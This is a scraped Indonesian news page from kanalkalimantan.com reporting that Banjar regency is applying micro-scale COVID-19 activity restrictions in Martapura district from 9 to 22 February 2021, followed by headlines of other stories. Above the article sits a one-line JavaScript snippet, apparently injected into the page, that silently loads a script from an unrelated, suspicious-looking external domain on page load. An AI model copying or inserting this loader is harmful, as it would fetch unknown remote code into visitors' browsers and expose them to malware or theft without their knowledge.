(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten (Pemkab) Banjar melaksanakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) berbasis mikro mulai 9 hingga 22 Februari 2021.
PPKM berbasis mikro akan dilaksanakan pada kecamatan yang dijadikan contoh yakni Kecamatan Martapura.
Rakor dipimpin Wakapolres Banjar Kompol Muhammad Fihim, Sekda Banjar HM Hilman, Sekretaris BPBD Banjar Azhar Alamsyah, perwakilan Kodim 1006 Martapura, Dinas Sosial, Dinas Kesehatan, serta Satpol PP Banjar.
Wakapolres Banjar Muhammad Fihim menjelaskan, PPKM berbasis mikro adalah pelaksanaan PPKM yang ada di level kecamatan dan kelurahan sesuai arahan Presiden. Untuk anggaran dana dibebankan kepada pihak terkait, semisal desa anggaran dibebankan pada dana desa. Untuk Nakes anggaran dibebankan pada Dinkes, kemudian Babinsa dan Babinkabtibmas anggaran dibebankan pada TNI dan Polri.
”Rakor ini juga guna lebih memantapkan detail pelaksanaan PPKM berbasis mikro di Kabupaten Banjar, diharapkan kerjasama semua pihak dalam hal ini terutama yang berada di kecamatan dan kelurahan,” ujar Wakpolres Banjar, Selasa (9/2/2021).
Setelah Rakor, Sekda Banjar menjelaskan jika PPKM berbasis mikro dari semula PPKM untuk 10 kecamatan diperkecil, diambil keputusan Kecamatan Martapura menjadi wilayah pelaksanaan PPKM berbasis mikro.
“Kecamatan Martapura menjadi model, dan contoh daerah lain, serta pada daerah pelaksanaan PPKM berbasis mkro ini, diharapkan nantinya menghasilkan penurunan angka Covid-19,” jelas Hilman.
Hilman menambahkan akan dilaksanakan operasi yustisi secara rutin bersama tim. Juga akan disiapkan Swab antigen bagi masyarakat atau pengusaha cafe yang kedapatan berkumpul dan beroperasi melebihi pukul 22.00 Wita.
“Pelaksanaan PPKM berbasis mikro Kecamatan Martapura diterepkan di Kelurahan Sekumpul, Kelurahan Sungai Paring dan Kelurahan Sungai Sipai. Tiga lokasi ini ditetapkan dengan pertimbangan karena angka terkonfirmasi positif Covid-19 cukup tinggi,” pungkasnya. (kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
This website uses cookies.